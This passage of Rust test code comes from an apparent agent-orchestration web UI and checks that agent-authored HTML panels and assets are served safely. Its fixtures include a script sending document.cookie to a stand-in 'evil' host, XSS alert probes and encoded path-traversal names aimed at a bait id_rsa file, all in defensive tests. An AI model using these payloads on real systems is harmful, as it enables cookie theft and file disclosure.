7120 let stale = beat(ask::WaiterKind::Asker, 3600);
7121 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7122
7123 let mut c = Question::new(
7126 "task".to_owned(),
7127 crate::conduct::NODE.to_owned(),
7128 "conduct".to_owned(),
7129 "which?".to_owned(),
7130 String::new(),
7131 Vec::new(),
7132 );
7133 assert_eq!(holder_of(&c, None), Some("nobody"));
7134 c.cwd = Some("/tmp".to_owned());
7135 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7136 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7137 let deputy = beat(ask::WaiterKind::Deputy, 1);
7138 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7139 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7140
7141 let mut r = Question::new(
7143 String::new(),
7144 crate::bump::NOTICE_NODE.to_owned(),
7145 "release-watch".to_owned(),
7146 "stuck?".to_owned(),
7147 String::new(),
7148 vec!["hold".to_owned()],
7149 );
7150 assert_eq!(holder_of(&r, None), Some("nobody"));
7151 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7152 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7153 r.deputy = None;
7155 r.seat = "bump".to_owned();
7156 assert_eq!(holder_of(&r, None), None);
7157
7158 let mut m = Question::new(
7161 "run".to_owned(),
7162 crate::land::APPROVAL_NODE.to_owned(),
7163 "land".to_owned(),
7164 "merge?".to_owned(),
7165 String::new(),
7166 Vec::new(),
7167 );
7168 assert_eq!(holder_of(&m, None), Some("nobody"));
7169 assert_eq!(
7170 holder_of(&m, Some(&fresh)),
7171 Some("nobody"),
7172 "a lease with no deputy is not a listener"
7173 );
7174 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7175 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7176 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7177 assert_eq!(holder_of(&m, None), Some("nobody"));
7178 }
7179
7180 fn stub_config() -> Config {
7181 Config {
7184 agents: vec![crate::config::AgentSpec {
7185 id: "stub".to_owned(),
7186 kind: AgentKind::Command,
7187 model: None,
7188 command: vec!["true".to_owned()],
7189 extra_args: Vec::new(),
7190 env: Default::default(),
7191 prompt_delivery: None,
7192 }],
7193 ..Config::default()
7194 }
7195 }
7196
7197 fn plain_question(seat: &str) -> Question {
7198 Question::new(
7199 String::new(),
7200 "n".to_owned(),
7201 seat.to_owned(),
7202 "s".to_owned(),
7203 String::new(),
7204 Vec::new(),
7205 )
7206 }
7207
7208 #[test]
7209 fn deputies_enabled_follows_the_config() {
7210 let on = stub_config();
7211 assert!(crate::deputy::can_start(Some(&on), ""));
7212 assert!(crate::deputy::can_start(Some(&on), "stub"));
7213 let mut off = on.clone();
7214 off.daemon.max_deputies = 0;
7215 assert!(!crate::deputy::can_start(Some(&off), ""));
7216 let mut empty = on;
7217 empty.agents.clear();
7218 assert!(!crate::deputy::can_start(Some(&empty), ""));
7219 assert!(!crate::deputy::can_start(None, ""));
7220 }
7221
7222 #[test]
7223 fn question_views_load_the_config_once() {
7224 let dir = TempDir::new().unwrap();
7225 let store = ask::Questions::at(dir.path().to_path_buf());
7226 let mut with_deputy = plain_question("b");
7227 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7228 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7229
7230 let calls = std::cell::Cell::new(0usize);
7231 let views = question_views(qs.clone(), &store, || {
7232 calls.set(calls.get() + 1);
7233 Some(stub_config())
7234 });
7235 assert_eq!(calls.get(), 1);
7236 assert_eq!(views.len(), 3);
7237 for (v, q) in views.iter().zip(&qs) {
7238 assert_eq!(
7239 v.deputies_enabled,
7240 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7241 );
7242 }
7243
7244 let views = question_views(qs, &store, || None);
7245 assert!(views.iter().all(|v| !v.deputies_enabled));
7246
7247 let calls = std::cell::Cell::new(0usize);
7248 let views = question_views(Vec::new(), &store, || {
7249 calls.set(calls.get() + 1);
7250 None
7251 });
7252 assert!(views.is_empty());
7253 assert_eq!(calls.get(), 0);
7254 }
7255
7256 use pretty_assertions::assert_eq;
7257 use serde_json::Value;
7258 use tempfile::TempDir;
7259 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7260
7261 use super::*;
7262 use crate::config::Config;
7263 use crate::queue::Source;
7264
7265 const SETTLE_STEPS: usize = 3_000;
7276
7277 struct Fixture {
7283 home: TempDir,
7284 addr: SocketAddr,
7285 }
7286
7287 impl Fixture {
7288 async fn start() -> Self {
7289 Self::with_loop(launch_idle).await
7290 }
7291
7292 async fn with_loop(launch: Launch) -> Self {
7294 let home = TempDir::new().expect("temp home");
7295 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7296 Self { home, addr }
7297 }
7298
7299 async fn with_repo(repo: PathBuf) -> Self {
7303 let home = TempDir::new().expect("temp home");
7304 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7305 Self { home, addr }
7306 }
7307
7308 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7311 let home = TempDir::new().expect("temp home");
7312 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7313 Self { home, addr }
7314 }
7315
7316 async fn serve(
7317 home: &FsPath,
7318 repo: PathBuf,
7319 launch: Launch,
7320 machine: Option<PathBuf>,
7321 ) -> SocketAddr {
7322 let queue = Queue::at(home.join("queue"));
7323 let runs = home.join("runs");
7324 std::fs::create_dir_all(&runs).expect("runs dir");
7325 let worktrees = home.join("wt").join("magi");
7326 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7327 let ui = Ui::new(
7328 queue,
7329 Questions::at(home.join("questions")),
7330 Talks::at(home.join("talks")),
7331 runs,
7332 home.to_path_buf(),
7333 repo,
7334 )
7335 .with_worktrees_root(worktrees)
7336 .with_machine_config(machine)
7337 .with_launch(launch);
7338 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7339 .await
7340 .expect("bind loopback");
7341 let addr = listener.local_addr().expect("local addr");
7342 tokio::spawn(async move {
7343 let _ = axum::serve(listener, ui.router()).await;
7344 });
7345 addr
7346 }
7347
7348 fn queue(&self) -> Queue {
7349 Queue::at(self.home.path().join("queue"))
7350 }
7351
7352 fn questions(&self) -> Questions {
7353 Questions::at(self.home.path().join("questions"))
7354 }
7355
7356 fn talks(&self) -> Talks {
7357 Talks::at(self.home.path().join("talks"))
7358 }
7359
7360 fn runs(&self) -> PathBuf {
7361 self.home.path().join("runs")
7362 }
7363
7364 async fn get(&self, path: &str) -> Res {
7365 request(self.addr, "GET", path, None).await
7366 }
7367
7368 async fn head(&self, path: &str) -> Res {
7373 request(self.addr, "HEAD", path, None).await
7374 }
7375
7376 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7377 request(self.addr, "POST", path, body).await
7378 }
7379
7380 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7381 request_with(self.addr, "GET", path, None, extra).await
7382 }
7383
7384 async fn delete(&self, path: &str) -> Res {
7385 request(self.addr, "DELETE", path, None).await
7386 }
7387
7388 async fn put(&self, path: &str, body: &str) -> Res {
7389 request(self.addr, "PUT", path, Some(body)).await
7390 }
7391
7392 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7394 request_bytes(self.addr, path, headers, body).await
7395 }
7396 }
7397
7398 struct Res {
7399 status: u16,
7400 headers: String,
7401 head: String,
7406 body: String,
7407 bytes: Vec<u8>,
7411 }
7412
7413 impl Res {
7414 fn json(&self) -> Value {
7415 serde_json::from_str(&self.body)
7416 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7417 }
7418
7419 fn header(&self, name: &str) -> Option<&str> {
7421 self.head.lines().find_map(|line| {
7422 let (key, value) = line.split_once(':')?;
7423 key.trim()
7424 .eq_ignore_ascii_case(name)
7425 .then(|| value.trim_start().trim_end_matches('\r'))
7426 })
7427 }
7428 }
7429
7430 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7433 request_with(addr, method, path, body, &[]).await
7434 }
7435
7436 async fn request_with(
7440 addr: SocketAddr,
7441 method: &str,
7442 path: &str,
7443 body: Option<&str>,
7444 extra: &[(&str, &str)],
7445 ) -> Res {
7446 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7447 for (name, value) in extra {
7448 head.push_str(&format!("{name}: {value}\r\n"));
7449 }
7450 if let Some(body) = body {
7451 head.push_str("Content-Type: application/json\r\n");
7452 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7453 }
7454 head.push_str("\r\n");
7455 if let Some(body) = body {
7456 head.push_str(body);
7457 }
7458 let mut socket = tokio::net::TcpStream::connect(addr)
7459 .await
7460 .expect("connect to the test server");
7461 socket
7462 .write_all(head.as_bytes())
7463 .await
7464 .expect("write request");
7465 let mut raw = Vec::new();
7466 socket.read_to_end(&mut raw).await.expect("read response");
7467 let split = raw
7470 .windows(4)
7471 .position(|w| w == b"\r\n\r\n")
7472 .expect("a header block");
7473 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7474 let bytes = raw[split + 4..].to_vec();
7475 let status = head
7476 .lines()
7477 .next()
7478 .and_then(|line| line.split_whitespace().nth(1))
7479 .and_then(|code| code.parse().ok())
7480 .expect("a status line");
7481 Res {
7482 status,
7483 headers: head.to_lowercase(),
7484 head,
7485 body: String::from_utf8_lossy(&bytes).into_owned(),
7486 bytes,
7487 }
7488 }
7489
7490 async fn request_bytes(
7496 addr: SocketAddr,
7497 path: &str,
7498 headers: &[(&str, &str)],
7499 body: &[u8],
7500 ) -> Res {
7501 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7502 for (name, value) in headers {
7503 head.push_str(&format!("{name}: {value}\r\n"));
7504 }
7505 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7506 let mut socket = tokio::net::TcpStream::connect(addr)
7507 .await
7508 .expect("connect to the test server");
7509 socket
7510 .write_all(head.as_bytes())
7511 .await
7512 .expect("write request head");
7513 socket.write_all(body).await.expect("write request body");
7514 let mut raw = Vec::new();
7515 socket.read_to_end(&mut raw).await.expect("read response");
7516 let split = raw
7517 .windows(4)
7518 .position(|w| w == b"\r\n\r\n")
7519 .expect("a header block");
7520 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7521 let bytes = raw[split + 4..].to_vec();
7522 let status = head
7523 .lines()
7524 .next()
7525 .and_then(|line| line.split_whitespace().nth(1))
7526 .and_then(|code| code.parse().ok())
7527 .expect("a status line");
7528 Res {
7529 status,
7530 headers: head.to_lowercase(),
7531 head,
7532 body: String::from_utf8_lossy(&bytes).into_owned(),
7533 bytes,
7534 }
7535 }
7536
7537 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7539 let mut state = RunState::new(
7540 PathBuf::from("/repo/magi"),
7541 "main".to_owned(),
7542 "0123456789abcdef".to_owned(),
7543 "Add a web UI\n\nMobile first.".to_owned(),
7544 Config::default(),
7545 );
7546 state.id = id.to_owned();
7547 state.status = status;
7548 let dir = runs.join(id);
7549 std::fs::create_dir_all(&dir).expect("run dir");
7550 std::fs::write(
7551 dir.join("run.json"),
7552 serde_json::to_string_pretty(&state).expect("serialize run"),
7553 )
7554 .expect("write run.json");
7555 }
7556
7557 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7561 let mut state = RunState::new(
7562 PathBuf::from(repo),
7563 "main".to_owned(),
7564 "0123456789abcdef".to_owned(),
7565 "task".to_owned(),
7566 Config::default(),
7567 );
7568 state.id = id.to_owned();
7569 state.status = status;
7570 let dir = runs.join(id);
7571 std::fs::create_dir_all(&dir).expect("run dir");
7572 std::fs::write(
7573 dir.join("run.json"),
7574 serde_json::to_string_pretty(&state).expect("serialize run"),
7575 )
7576 .expect("write run.json");
7577 }
7578
7579 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7580 let body = serde_json::json!({
7581 "schema": 1,
7582 "pid": 4242,
7583 "started_at": Timestamp::now().to_string(),
7584 "updated_at": updated_at.to_string(),
7585 "idle": false,
7586 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7587 "completed": 7,
7588 "polls": 143,
7589 });
7590 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7591 }
7592
7593 fn launch_idle(
7603 _opts: daemon::Opts,
7604 stop: daemon::Stop,
7605 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7606 Box::pin(async move {
7607 while !stop.stopped() {
7608 tokio::time::sleep(Duration::from_millis(2)).await;
7609 }
7610 Ok(())
7611 })
7612 }
7613
7614 fn launch_broken(
7617 _opts: daemon::Opts,
7618 _stop: daemon::Stop,
7619 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7620 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7625 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7626 Box::pin(async move {
7627 Err(anyhow::anyhow!(if first {
7628 "publish the daemon status file: read-only file system"
7629 } else {
7630 "the restarted stand-in failed as well"
7631 }))
7632 })
7633 }
7634
7635 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7642 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7643
7644 fn launch_knocking_on_the_way_out(
7651 _opts: daemon::Opts,
7652 stop: daemon::Stop,
7653 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7654 Box::pin(async move {
7655 while !stop.stopped() {
7656 tokio::time::sleep(Duration::from_millis(2)).await;
7657 }
7658 let addr = PARK_KNOCK
7659 .lock()
7660 .expect("park knock")
7661 .expect("the test set an address");
7662 let heard = request(addr, "GET", "/api/health", None).await.status;
7663 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7664 Ok(())
7665 })
7666 }
7667
7668 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7677 for _ in 0..SETTLE_STEPS {
7678 let view = fx.get("/api/loop").await.json();
7679 if want(&view) {
7680 return view;
7681 }
7682 tokio::time::sleep(Duration::from_millis(10)).await;
7683 }
7684 panic!(
7685 "the loop never settled: {}",
7686 fx.get("/api/loop").await.json()
7687 );
7688 }
7689
7690 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7692 let store = fx.questions();
7693 let mut q = Question::new(
7694 "20260902-000000-beef".to_owned(),
7695 "implement".to_owned(),
7696 "impl-A".to_owned(),
7697 summary.to_owned(),
7698 "because it matters".to_owned(),
7699 choices.iter().map(|c| (*c).to_owned()).collect(),
7700 );
7701 store.put(&mut q).expect("put question");
7702 q.id
7703 }
7704
7705 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7711 let store = fx.questions();
7712 let mut q = Question::new(
7713 "20260902-000000-beef".to_owned(),
7714 "land".to_owned(),
7715 "fix".to_owned(),
7716 "Merge this?".to_owned(),
7717 "the diff is in the panel".to_owned(),
7718 vec!["merge".to_owned(), "hold".to_owned()],
7719 );
7720 let staging = fx.home.path().join("staging");
7723 std::fs::create_dir_all(&staging).expect("staging dir");
7724 let sources: Vec<PathBuf> = assets
7725 .iter()
7726 .map(|(name, bytes)| {
7727 let path = staging.join(name);
7728 std::fs::write(&path, bytes).expect("write staged asset");
7729 path
7730 })
7731 .collect();
7732 store
7733 .put_panel(&mut q, html, &sources)
7734 .expect("write the panel");
7735 store.put(&mut q).expect("put question");
7736 q.id
7737 }
7738
7739 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7748 seed_talk_at(&fx.talks(), id, status)
7749 }
7750
7751 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7752 std::fs::create_dir_all(store.root()).expect("talks dir");
7753 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7754 .expect("serialize a seat");
7755 let body = serde_json::json!({
7756 "schema": 1,
7757 "id": id,
7758 "repo": "/repo/magi",
7759 "agent": "mock",
7760 "status": status,
7761 "turns": [],
7762 "created_at": Timestamp::now().to_string(),
7763 "updated_at": Timestamp::now().to_string(),
7764 "seat": seat,
7765 });
7766 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7767 store.get(id).expect("the seeded talk has to be readable");
7768 id.to_owned()
7769 }
7770
7771 #[tokio::test]
7772 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7773 let fx = Fixture::start().await;
7774 let id = panel(
7775 &fx,
7776 "<h1>Merge?</h1><img src=\"diff.svg\">",
7777 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7778 );
7779
7780 for path in [
7781 format!("/api/questions/{id}/panel"),
7782 format!("/api/questions/{id}/asset/diff.svg"),
7783 ] {
7784 let res = fx.get(&path).await;
7785 assert_eq!(res.status, 200, "{path}: {}", res.body);
7786 assert_eq!(
7792 res.header("content-security-policy"),
7793 Some(
7794 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7795 font-src data:; base-uri 'none'; form-action 'none'; \
7796 frame-ancestors 'self'"
7797 ),
7798 "{path} is the only thing between a hostile panel and the tailnet"
7799 );
7800 assert_eq!(
7801 res.header("x-content-type-options"),
7802 Some("nosniff"),
7803 "{path}: a browser must not re-decide the type we sent"
7804 );
7805 assert_eq!(
7806 res.header("referrer-policy"),
7807 Some("no-referrer"),
7808 "{path}: a panel must not leak the question id off the machine"
7809 );
7810
7811 let pre = fx.head(&path).await;
7816 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7817 assert_eq!(
7818 pre.header("content-security-policy"),
7819 res.header("content-security-policy"),
7820 "{path}: the preflight carries the same policy"
7821 );
7822 assert_eq!(
7823 pre.header("content-type"),
7824 res.header("content-type"),
7825 "{path}: the preflight carries the same type"
7826 );
7827 }
7828 }
7829
7830 #[tokio::test]
7831 async fn a_panel_reaches_the_browser_byte_for_byte() {
7832 let fx = Fixture::start().await;
7833 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7838 let id = panel(&fx, html, &[]);
7839
7840 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7841
7842 assert_eq!(res.status, 200);
7843 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7844 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7845 assert_eq!(
7846 res.header("content-disposition"),
7847 None,
7848 "the panel itself is rendered in the frame, not downloaded"
7849 );
7850 }
7851
7852 #[tokio::test]
7853 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7854 let fx = Fixture::start().await;
7855 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7856 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7857 let id = panel(
7858 &fx,
7859 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7860 &[("diff.svg", svg), ("shot.png", png)],
7861 );
7862
7863 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7864 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7865
7866 assert_eq!(as_svg.status, 200);
7867 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7868 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7873
7874 assert_eq!(as_png.status, 200);
7875 assert_eq!(as_png.header("content-type"), Some("image/png"));
7876 assert_eq!(
7877 as_png.header("content-disposition"),
7878 None,
7879 "a raster image has no execution surface, so tapping it still shows it"
7880 );
7881 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7882 }
7883
7884 #[tokio::test]
7885 async fn an_html_asset_is_never_served_as_html() {
7886 let fx = Fixture::start().await;
7887 let id = panel(
7888 &fx,
7889 "<p>see the notes</p>",
7890 &[
7891 (
7892 "notes.html",
7893 b"<script>fetch('http://evil/'+document.cookie)</script>",
7894 ),
7895 ("hook.js", b"fetch('http://evil/')"),
7896 ("data.json", b"{}"),
7897 ("HEADLINE.TXT", b"plain"),
7898 ],
7899 );
7900
7901 for name in ["notes.html", "hook.js", "data.json"] {
7902 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7903 assert_eq!(res.status, 200, "{name}: {}", res.body);
7904 assert_eq!(
7909 res.header("content-type"),
7910 Some("application/octet-stream"),
7911 "{name} must not be a type the browser will execute or render"
7912 );
7913 }
7914 let txt = fx
7917 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7918 .await;
7919 assert_eq!(
7920 txt.header("content-type"),
7921 Some("text/plain; charset=utf-8")
7922 );
7923 }
7924
7925 #[tokio::test]
7926 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7927 let fx = Fixture::start().await;
7928 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7929 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7933
7934 for encoded in [
7941 "%2e%2e%2fid_rsa",
7942 "..%2fid_rsa",
7943 "..%5cid_rsa",
7944 "%2e%2e%5cid_rsa",
7945 "diff%00.svg",
7946 "..",
7947 ".hidden",
7948 "%2e%2e%2f%2e%2e%2fid_rsa",
7949 ] {
7950 let res = fx
7951 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7952 .await;
7953 assert_eq!(
7954 res.status, 400,
7955 "`{encoded}` has to be refused by name, not looked up: {}",
7956 res.body
7957 );
7958 assert!(res.json()["error"].is_string(), "{}", res.body);
7959 }
7960
7961 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7967 let res = fx
7968 .get(&format!("/api/questions/{id}/asset/{literal}"))
7969 .await;
7970 assert_eq!(
7971 res.status, 404,
7972 "`{literal}` must not match the asset route at all: {}",
7973 res.body
7974 );
7975 }
7976 }
7977
7978 #[tokio::test]
7979 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7980 let fx = Fixture::start().await;
7981 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7982 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7983
7984 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7988 assert_eq!(none.status, 404, "{}", none.body);
7989 assert!(none.json()["error"].is_string(), "{}", none.body);
7990 assert_eq!(
7991 fx.head(&format!("/api/questions/{plain}/panel"))
7992 .await
7993 .status,
7994 404,
7995 "the preflight is the only way the client can learn this"
7996 );
7997
7998 let missing = fx
8000 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8001 .await;
8002 assert_eq!(missing.status, 404, "{}", missing.body);
8003 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8004
8005 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8007 assert_eq!(
8008 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8009 404
8010 );
8011 }
8012
8013 #[tokio::test]
8014 async fn a_run_with_an_open_question_reads_as_waiting() {
8015 let fx = Fixture::start().await;
8016 let run = "20260902-000000-beef".to_owned();
8017 write_run(&fx.runs(), &run, RunStatus::Implementing);
8018
8019 let before = fx.get("/api/runs").await.json();
8020 assert_eq!(before[0]["waiting"], false, "{before}");
8021
8022 let store = fx.questions();
8023 let mut q = Question::new(
8024 run.clone(),
8025 "implement".to_owned(),
8026 "impl-A".to_owned(),
8027 "Which backend?".to_owned(),
8028 String::new(),
8029 vec!["SQLite".to_owned()],
8030 );
8031 store.put(&mut q).expect("put");
8032
8033 let during = fx.get("/api/runs").await.json();
8034 assert_eq!(during[0]["waiting"], true, "{during}");
8035
8036 q.answer(Answer::Choice("SQLite".to_owned()))
8039 .expect("answer");
8040 store.put(&mut q).expect("put");
8041 let after = fx.get("/api/runs").await.json();
8042 assert_eq!(after[0]["waiting"], false, "{after}");
8043 }
8044
8045 #[tokio::test]
8046 async fn an_open_question_is_listed_and_counted_by_health() {
8047 let fx = Fixture::start().await;
8048 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8049
8050 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8051 let listed = fx.get("/api/questions").await.json();
8052 assert_eq!(listed.as_array().expect("array").len(), 1);
8053 assert_eq!(listed[0]["id"], id);
8054 assert_eq!(listed[0]["status"], "open");
8055 assert_eq!(listed[0]["choices"][1], "Redis");
8056 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8059 }
8060
8061 #[tokio::test]
8062 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8063 let fx = Fixture::start().await;
8064 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065 let path = format!("/api/questions/{id}/answer");
8066
8067 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8068 assert_eq!(res.status, 200, "{}", res.body);
8069 let body = res.json();
8070 assert_eq!(body["status"], "answered");
8071 assert_eq!(body["answer"]["choice"], "Redis");
8072
8073 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8077 assert_eq!(again.status, 409, "{}", again.body);
8078 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8079 }
8080
8081 #[tokio::test]
8082 async fn saying_something_appends_a_turn_without_answering() {
8083 let fx = Fixture::start().await;
8084 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8085 let path = format!("/api/questions/{id}/say");
8086
8087 let res = fx
8088 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8089 .await;
8090 assert_eq!(res.status, 200, "{}", res.body);
8091 let body = res.json();
8092 assert_eq!(body["status"], "open", "talking back is not a decision");
8093 assert_eq!(body["answer"], Value::Null);
8094 assert_eq!(body["thread"][0]["who"], "operator");
8095 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8096 assert_eq!(body["waiting_on_agent"], true);
8097 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8099 }
8100
8101 #[tokio::test]
8102 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8103 let fx = Fixture::start().await;
8104 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8105
8106 let list = fx.get("/api/questions").await.json();
8107 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8108
8109 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8110 assert_eq!(res.status, 409, "{}", res.body);
8111 let q = fx.questions().get(&id).unwrap();
8112 assert!(q.status.open());
8113 assert!(q.consult.is_none());
8114 }
8115
8116 #[tokio::test]
8117 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8118 let fx = Fixture::start().await;
8119 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8120 let cfg = Config {
8121 agents: vec![crate::config::AgentSpec {
8122 id: "mock".to_owned(),
8123 kind: crate::config::AgentKind::Command,
8124 model: None,
8125 command: vec!["true".to_owned()],
8126 extra_args: Vec::new(),
8127 env: Default::default(),
8128 prompt_delivery: None,
8129 }],
8130 ..Config::default()
8131 };
8132 let talk = crate::talk::begin(
8133 &fx.talks(),
8134 &cfg,
8135 fx.home.path().to_path_buf(),
8136 Some("mock"),
8137 )
8138 .unwrap();
8139 let mut task = Task::new(
8140 "t".to_owned(),
8141 "Do it".to_owned(),
8142 PathBuf::from("/repo/magi"),
8143 Source::Agent {
8144 run: talk.id.clone(),
8145 node: crate::queue::CHAT_NODE.to_owned(),
8146 },
8147 );
8148 task.start("20260902-000000-beef".to_owned());
8149 fx.queue().put(&mut task).unwrap();
8150
8151 let list = fx.get("/api/questions").await.json();
8152 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8153 assert_eq!(
8154 list[0]["choices"],
8155 serde_json::json!(["SQLite", "Redis"]),
8156 "the hand-over is never a choice"
8157 );
8158 let _ = id;
8159 }
8160
8161 #[tokio::test]
8162 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8163 let fx = Fixture::start().await;
8164 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8165 let cfg = Config {
8166 agents: vec![crate::config::AgentSpec {
8167 id: "mock".to_owned(),
8168 kind: crate::config::AgentKind::Command,
8169 model: None,
8170 command: vec!["true".to_owned()],
8171 extra_args: Vec::new(),
8172 env: Default::default(),
8173 prompt_delivery: None,
8174 }],
8175 ..Config::default()
8176 };
8177 let repo = fx.home.path().join("chat-repo");
8179 std::fs::create_dir_all(&repo).unwrap();
8180 let toml = repo.join("magi.toml");
8181 std::fs::write(&toml, "this is = = not toml").unwrap();
8182 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8183 let mut task = Task::new(
8184 "t".to_owned(),
8185 "Do it".to_owned(),
8186 PathBuf::from("/repo/magi"),
8187 Source::Agent {
8188 run: talk.id.clone(),
8189 node: crate::queue::CHAT_NODE.to_owned(),
8190 },
8191 );
8192 task.start("20260902-000000-beef".to_owned());
8193 fx.queue().put(&mut task).unwrap();
8194
8195 let path = format!("/api/questions/{id}/consult");
8196 let res = fx.post(&path, None).await;
8197 assert!(res.status >= 400, "{}", res.body);
8198 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8199 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8200
8201 std::fs::write(&toml, "").unwrap();
8202 let res = fx.post(&path, None).await;
8203 assert_eq!(res.status, 202, "{}", res.body);
8204 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8205 }
8206
8207 #[tokio::test]
8208 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8209 let fx = Fixture::start().await;
8210 let store = fx.questions();
8211 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
